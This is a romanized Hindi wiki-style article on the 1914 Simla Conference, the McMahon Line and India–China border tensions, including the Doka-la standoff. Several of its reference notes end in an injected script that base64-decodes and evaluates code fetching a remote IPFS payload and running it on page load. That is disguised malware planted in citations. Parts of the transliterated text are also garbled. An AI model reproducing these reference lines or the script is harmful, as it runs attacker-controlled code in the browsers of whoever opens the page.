शिमला सम्मेलन 1914

shimala sammelan varsh 1914 mean hua tha. sal 1913-1914 mean jab briten aur tibbat ke bich sima nirdharan ke lie 'shimala sammelan' hua to is batachit ke mukhy vartakar the sar henari maikamohan. isi vajah se is rekha ko 'maikamohan rekha' ke nam se jana jata hai. shimala samajhaute ke dauran briten, chin aur tibbat, alag-alag parti ke taur par shamil hue the.

kya hai sima vivad

bharat aur chin 3,488 kilomitar lanbi sima sajha karate haian. ye sima jammoo-kashmir, himachal pradesh, uttarakhand, sikkim aur arunachal pradesh se hokar gujarati hai. ye tin sektaroan mean banti huee hai- pashchimi sektar yani jammoo-kashmir, midil sektar yani himachal pradesh aur uttarakhand aur poorvi sektar yani sikkim aur arunachal pradesh. chin poorvi sektar mean arunachal pradesh ko dakshini tibbat ka hissa batate hue apana dava karata hai. chin, tibbat aur arunachal pradesh ke bich ki maikamohan rekha ko ye kahate hue manane se inakar karata hai ki 1914 mean jab british bharat aur tibbat ke pratinidhiyoan ne samajhauta kiya tha, tab vo vahaan maujood nahian tha. jabaki britishakalin bharat ke british shasakoan ne tavaang aur dakshini hisse ko bharat ka hissa mana aur jise tibbatiyoan ne bhi sahamati di. chini pratinidhiyoan ne ise manane se inakar kar diya.^[1]

chin ke mutabiq tibbat par unaka hissa hai, isalie vo bina unaki sahamati ke koee phaisala nahian le sakate. darasal 1914 mean jab maikamohan rekha tay huee thi to tibbat kamajor tha, halaanki vo svatantr bhi tha. lekin chin ne tibbat ko kabhi svatantr mulk mana hi nahian, isalie is phaisale ko bhi nahian manata. chin ne 1950 mean tibbat par poori tarah se apane qabza jama liya. in vivadoan ke bich donoan deshoan ne sima par maujooda niyantran ko elesi man liya. halaanki chin aur bharat ke bich vartaman niyantran ko lekar bhi alag-alag dave haian. isi vajah se aksar donoan deshoan ke bich is rekha ke asapas tanav ki khabarean ati rahati haian.

maikamohan nam kyoan

sal 1913-1914 mean jab briten aur tibbat ke bich sima nirdharan ke lie 'shimala sammelan' hua to is batachit ke mukhy vartakar the sar henari maikamohan. isi vajah se is rekha ko maikamohan rekha ke nam se jana jata hai. shimala samajhaute ke dauran briten, chin aur tibbat, alag-alag parti ke taur par shamil hue the. bharatiy samrajy mean tatkalin videsh sachiv sar henari maikamahon ne british iandiya aur tibbat ke bich 890 kilomitar lanbi sima khianchi. isamean tavaang (arunachal pradesh) ko british bharat ka hissa mana gaya tha.^[1]

maikamahon lain ke pashchim mean bhootan aur poorab mean brahmaputr nadi ka ‘gret beand’ hai. yaraluang jaangabo ke chin se bahakar arunachal mean ghusane aur brahmaputr banane se pahale nadi dakshin ki taraph bahut ghumavadar tarike se beand hoti hai. isi ko gret beand kahate haian.

aantararashtriy manyata

shimala samajhauta pratham vishv yuddh se pahale hua tha. lekin vishv yuddh ke dauran sthitiyaan badal geean. kaphi samay bad 1937 mean aangrezoan ki- a kalekshan aauph tritiz, aiangezameants aiand sanads riletiang too iandiya aiand nebariang kantriz nam se ek kitab aee. videsh vibhag mean bharat sarakar (british) ke aandar sekratari si. yoo. echisan ne ise taiyar kiya tha. ye bharat aur usake p dosi deshoan ke bich huee sandhiyaan aur samajhaute ka adhikarik sangrah tha. isamean nee janakariyaan bhi apadet huee aur maikamohan rekha ko aantararashtriy manyata mili.

chin karata hai inakar

vahian chin ise manane se ye kahate hue inakar karata hai ki maikamahon lain ke bare mean usako bataya hi nahian gaya tha. usase bas inar aur autar tibbat banane ke prastav par bat ki gee thi. use aandhere mean rakhakar tibbat ke pratinidhi lonachen shatara aur henari maikamahon ke bich huee gupt batachit ki aandarastaiandiang par maikamahon rekha khianch di gee.^[1]

chin ka ravaiya

halaanki chin ne kirgistan aur tajikistan jaise deshoan ko kshetriy riyayatean di haian, lekin ve kisi bhi roop mean chini varchasv ke adhin the. isake alava chin lagabhag har us sandhi ko nakarata hai, jise usane kamyunist kraanti hone se pahale manzoori di thi. chin ka yah a diyal ravaiya charcha ka vishay hai, kyoanki kee visheshajn aitihasik sandarbh mean us tithi ko nishchit karane ki bat karate haian, jab deshoan ne apani adhunik simaoan ko paribhashit kiya, udaharan ke liye, maury aur mugal samrajyoan ne bharat ki vartaman uttari simaoan se kaphi age jakar sima vistar kiya tha, jabaki chol samrajy ka vistar viyatanam tak hua tha. ab yadi bharat bhi chin ke jaise tark dete hue in kshetroan par apana aitihasik dava jatane lage to yah kitana vyavaharik hoga?

vartaman bharat-chin vivad ka karan

sikkim ki sima par ek ilaka hai doka-la, jahaan chin, bharat aur bhootan ki sima milati hai aur isi ilake mean chin ko bharat ne s dak banane se roka. isake bad chini sena ne bharat ke do bankar nasht kar diye aur ghatana ke bad se tanav badhata gaya. bhootan ne bharat ki madad se chin ke samane apani chianta jahir ki, kyoanki chin aur bhootan ke bich rajanayik sanbandh nahian haian. is bich chin ne bharat se usaki sena ki gatividhiyoan ko lekar adhikarik shikayat darj karaee. chini sainikoan ke jamav de ke bad bharat ne bhi apane sainik doka-la mean bheje, jinhean n aaun-kambaitiv mod mean tainat kiya gaya hai. is mod mean sainik apani bandook ki nal ko zamin ki or rakhate haian.^[2]

bharat aur chin chuanbi ghati ke ilake mean amane-samane haian, jahaan bharat-bhootan aur chin tin deshoan ki simaean milati haian. doka-la pathar chuanbi ghati ka hi hissa hai, jahaan bharatiy aur chini sainikoan ke bich tanav hua hai.
doka-la pathar ke keval 10-12 ki.mi. par hi chin ka shahar yadoang hai, jo har mausam mean chaloo rahane vali s dak se ju da hai. doka-la pathar se nathoo-la keval 15 ki.mi. door hai.
joon ki shuruat mean chini kamagaroan ne yadoang se is ilake mean s dak ko age badhane ki koshish ki, jisaki vajah se thik isi ilake mean bharatiy javanoan ne unhean aisa karane se roka.
bhootan sarakar bhi doka-la ilake mean chin ki maujoodagi par virodh jata chuki hai, jo ki jompalari rij mean maujood bhootan sena ke bes se nikat hai.
is poore vivad se bharat ki chianta is bat ko lekar hai ki is ilake se chin ki topean chikens nek (siligu di k aauridor) namak is sankari patti se kaphi nikat tak a sakati haian, jo uttar-poorv ko poore bharat se jo dati hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 kya hai maikamohan lain? 1914 mean tay huee thi chin aur bharat ki sima, kyoan nahian manata chin? (hiandi) aajtak.intoday.in. abhigaman tithi: 09 julaee, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ chin nahian manata maikamohan (McMahon) rekha (hiandi) drishtiias.com. abhigaman tithi: 09 julaee, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[yy-1] 1.0 ^1.1 ^1.2 kya hai maikamohan lain? 1914 mean tay huee thi chin aur bharat ki sima, kyoan nahian manata chin? (hiandi) aajtak.intoday.in. abhigaman tithi: 09 julaee, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] ↑ chin nahian manata maikamohan (McMahon) rekha (hiandi) drishtiias.com. abhigaman tithi: 09 julaee, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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